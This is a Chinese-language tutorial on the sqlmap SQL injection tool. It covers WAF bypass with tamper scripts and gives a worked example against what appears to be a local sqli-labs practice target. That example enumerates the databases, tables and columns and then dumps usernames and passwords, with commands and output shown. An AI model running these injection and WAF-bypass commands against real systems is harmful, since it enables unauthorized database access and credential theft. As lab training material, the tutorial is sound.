sqlmap 使用指南

一、命令参数

1. 通用

2. 信息显示设置

3. 注入目标

4. 请求头

5. 优化参数

6. 注入参数

7. 检测

8. 注入技术

9. 指纹查询

10. 数据查询

11. 暴力破解

12. 文件系统访问

二、WAF 绕过

WAF，即Web Application Firewall，即Web应用防火墙，是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

我们可以使用--identify-waf参数对一些网站是否有安全防护进行试探。当确定网站存在 WAF 之后我们需要对其进行绕过。

在 sqlmap 下的 tamper 目录中存放着绕过 WAF 脚本。通过 --tamper 参数使用脚本，多个 tamper 脚本之间用空格隔开。

1. 自带 tamper

在 Kali 2020 的系统中，tamper 文件夹位置为：/usr/share/sqlmap/tamper。

三、使用小技巧

• 1. 注入的请求必须是正确的请求，例如测试登录时必须要使用能够正常登录的账号密码；
  2. 当我们知道哪里存在注入点时，我们可以在注入点加上 * 来标识这是一个注入点；

  四、sqlmap 使用示例

  1. 获取所有数据库

  Input:
  sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch --dbs
  
  
  Output:
  ailable databases [5]:                                                                                                                                   
  [*] challenges
  [*] information_schema
  [*] mysql
  [*] performance_schema
  [*] security
  

  参数解读：

  • -u：指定测试的 url
  • –batch：使用所有默认选项
  • –dbs：获取所有数据库

  2. 获取指定数据库的所有表

  Input:
  sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security --tables
  
  Output:
  Database: security                                                                                                                                         
  [4 tables]
  +----------+
  | emails   |
  | referers |
  | uagents  |
  | users    |
  +----------+
  

  3. 获取指定表的所有列名

  Input:
  sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security -T users --columns
  
  
  Output:
  Database: security                                                                                                                            Table: users
  [3 columns]
  +----------+-------------+
  | Column   | Type        |
  +----------+-------------+
  | id       | int(3)      |
  | password | varchar(20) |
  | username | varchar(20) |
  +----------+-------------+
  

  4. 获取指定列的值

  Input:
  sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security -T users -C "username,password" --dump  
  
  
  Output:
  Database: security                                                                                                                            Table: users
  [14 entries]
  +----------+----------+
  | username | password |
  +----------+----------+
  | Dumb     | password |
  | Angelina | password |
  | Dummy    | password |
  | secure   | password |
  | stupid   | password |
  | superman | password |
  | batman   | password |
  | admin    | 123      |
  | admin1   | password |
  | admin2   | password |
  | admin3   | password |
  | dhakkan  | password |
  | admin4   | password |
  | admin'#1 | 123      |
  +----------+----------+